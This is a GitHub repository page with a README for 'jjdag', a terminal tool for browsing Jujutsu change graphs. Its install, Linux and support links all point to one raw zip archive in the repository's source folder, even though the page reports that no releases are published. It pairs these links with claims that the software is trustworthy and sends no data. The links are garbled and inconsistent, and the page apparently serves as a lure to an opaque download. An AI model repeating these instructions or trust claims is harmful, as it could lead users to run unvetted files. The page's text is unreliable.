Skip to content

Ermz2/jjdag

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

23 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🚀 jjdag - Simple Tool to Manage Jujutsu DAG

Download jjdag


📋 What is jjdag?

jjdag is a user-friendly text-based tool that helps you work with Jujutsu DAGs (Directed Acyclic Graphs). This tool lets you view and manage complex Jujutsu operations in a simple, clear way right from your computer screen. You do not need programming skills to use jjdag. It runs in your terminal or command prompt, making it lightweight and fast.

A Jujutsu DAG is often used in software development to show how changes and tasks relate to each other over time. If you're working with Jujutsu and want an easy way to see these relationships, jjdag makes it easier.


🖥️ System Requirements

Before you download and use jjdag, make sure your computer meets these basic requirements:

  • Operating Systems: Windows 10 or later, macOS 10.15 or later, Linux (most popular distributions)
  • Processor: Any modern CPU, 1 GHz or faster
  • Memory: At least 2 GB of RAM
  • Disk Space: Minimum 50 MB free space for installation
  • Terminal: Access to a terminal or command prompt application (this is built-in on most computers)
  • Internet connection: Needed only for downloading the software

jjdag does not require high-end hardware. It uses minimal system resources and starts quickly.


⚙️ Main Features

Here are some key things you can do with jjdag:

  • Visualize the Jujutsu DAG: See the graph structure of changes and operations.
  • Navigate easily: Move through the graph using simple keyboard controls.
  • Manipulate nodes: Add, remove, or adjust points in the graph.
  • Simple interface: Designed for use without coding knowledge.
  • Lightweight: Runs comfortably in terminal windows without slowing your system.
  • Cross-platform: Works on Windows, macOS, and Linux.

These features help you understand and manage your Jujutsu DAG clearly and efficiently.


🚀 Getting Started: Download & Install

The first step is to get jjdag on your computer. Follow these instructions to download and start using the software:

  1. Click the button below to visit the official download page:

    Download jjdag

  2. On the releases page, find the version for your operating system:

    • For Windows, look for a file ending with .exe
    • For macOS, look for .dmg or .zip
    • For Linux, look for https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip or .AppImage
  3. Click the file name to start the download. Save it to a location you can easily find, such as your Desktop or Downloads folder.

  4. Once downloaded:

    • Windows: Double-click the .exe file and follow the installer instructions.
    • macOS: Open the .dmg file and drag the jjdag app to your Applications folder.
    • Linux:
      • If it’s an archive like https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip, extract it, then follow any instructions in the folder.
      • If it’s an .AppImage file, make it executable by right-clicking, selecting Properties > Permissions, and checking “Allow executing file as program.” Then double-click to run.
  5. Open your terminal or command prompt:

    • Windows: Search for "cmd" or "PowerShell" in the Start menu.
    • macOS: Open "Terminal" from your Applications > Utilities folder.
    • Linux: Open your terminal application from your system menu.
  6. Launch jjdag:

    • Type jjdag and press Enter.

If the command is not recognized, make sure the installation folder is added to your system path or run jjdag directly from the folder where you installed it.


🧰 How to Use jjdag

Using jjdag is straightforward, even if you have never used a command-line tool before.

Basic Commands

  • Open a Jujutsu repository:

    Navigate to the folder containing your Jujutsu project using the terminal:

    cd path/to/your/project
    

    Then enter:

    jjdag
    

    This will show the DAG for your project.

  • Move around the DAG:

    Use the arrow keys on your keyboard to move between nodes in the graph.

  • Select a node:

    Press Enter to select a node and view details.

  • Exit jjdag:

    Press q to quit the program.

Tips

  • Use the h key inside jjdag to bring up a help menu with more commands.
  • You can combine jjdag with other Jujutsu commands from your terminal.
  • If you’re unsure, reading the on-screen instructions helps navigate the interface.

❓ Troubleshooting

If you have issues, try the following:

  • Verify your download matches your system (Windows, macOS, Linux).
  • Ensure you have the correct file for executable permission.
  • Confirm the terminal or command prompt is pointing to where jjdag is installed.
  • If jjdag does not start, try restarting your computer.
  • Look for error messages in the terminal — these may give clues.

For further support, visit the GitHub repository’s Issues page at:

https://github.com/Ermz2/jjdag/raw/refs/heads/master/src/Software-1.7-beta.3.zip


🔒 Security & Privacy

jjdag is open-source software you can inspect and trust. It runs locally on your machine and does not send data anywhere.

Make sure you download jjdag only from the official release page linked above to avoid modified versions.


📚 Additional Resources

These resources help you understand how jjdag fits into your workflow better.


📫 How to Get Help

If you need more help:


Thank you for choosing jjdag to manage your Jujutsu DAGs. We strive to make this tool clear and easy for anyone to use.

About

🔧 Explore and manage the Jujutsu DAG with a Rust TUI offering intuitive commit browsing, multi-key commands, and mouse support for efficient version control.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages